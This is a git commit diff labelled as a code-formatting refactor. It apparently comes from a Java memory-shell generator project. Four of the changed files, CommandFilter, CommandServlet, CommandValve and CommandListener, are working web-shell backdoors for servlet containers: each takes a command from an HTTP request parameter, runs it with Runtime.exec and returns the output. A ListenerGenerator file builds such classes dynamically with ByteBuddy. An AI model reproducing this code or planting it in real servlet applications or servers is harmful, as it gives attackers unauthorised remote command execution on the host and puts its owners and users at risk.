refactor: format code

This commit is contained in:
ReaJason
2025-04-12 21:48:23 +08:00
parent 29d0d1b1e7
commit 29f854c6dd
5 changed files with 58 additions and 61 deletions
@@ -27,10 +27,16 @@ public class ListenerGenerator {
.name(newClassName) .name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods() .visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"), .method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName())))) new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))) .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
.make()) { .make()) {
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded(); return unloaded
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
.getLoaded();
} }
} }
} }
@@ -23,22 +23,18 @@ public class CommandFilter implements Filter {
HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response; HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName); String cmd = servletRequest.getParameter(paramName);
try { if (cmd != null) {
if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd);
Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream();
InputStream inputStream = exec.getInputStream(); ServletOutputStream outputStream = servletResponse.getOutputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192];
byte[] buf = new byte[8192]; int length;
int length; while ((length = inputStream.read(buf)) != -1) {
while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length);
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
} }
} catch (Exception e) { return;
chain.doFilter(servletRequest, servletResponse);
} }
chain.doFilter(servletRequest, servletResponse);
} }
@Override @Override
@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() { public CommandListener() {
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override @Override
public void requestDestroyed(ServletRequestEvent sre) { public void requestDestroyed(ServletRequestEvent sre) {
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null; return null;
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
} }
@@ -22,19 +22,16 @@ public class CommandServlet extends HttpServlet {
@Override @Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try { String cmd = request.getParameter(paramName);
String cmd = request.getParameter(paramName); if (cmd != null) {
if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd);
Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream();
InputStream inputStream = exec.getInputStream(); ServletOutputStream outputStream = response.getOutputStream();
ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192];
byte[] buf = new byte[8192]; int length;
int length; while ((length = inputStream.read(buf)) != -1) {
while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length);
outputStream.write(buf, 0, length);
}
} }
} catch (Exception ignored) {
} }
} }
} }
@@ -41,20 +41,17 @@ public class CommandValve implements Valve {
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
try { String cmd = request.getParameter(paramName);
String cmd = request.getParameter(paramName); if (cmd != null) {
if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd);
Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream();
InputStream inputStream = exec.getInputStream(); ServletOutputStream outputStream = response.getOutputStream();
ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192];
byte[] buf = new byte[8192]; int length;
int length; while ((length = inputStream.read(buf)) != -1) {
while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length);
outputStream.write(buf, 0, length);
}
return;
} }
} catch (Exception ignored) { return;
} }
this.getNext().invoke(request, response); this.getNext().invoke(request, response);
} }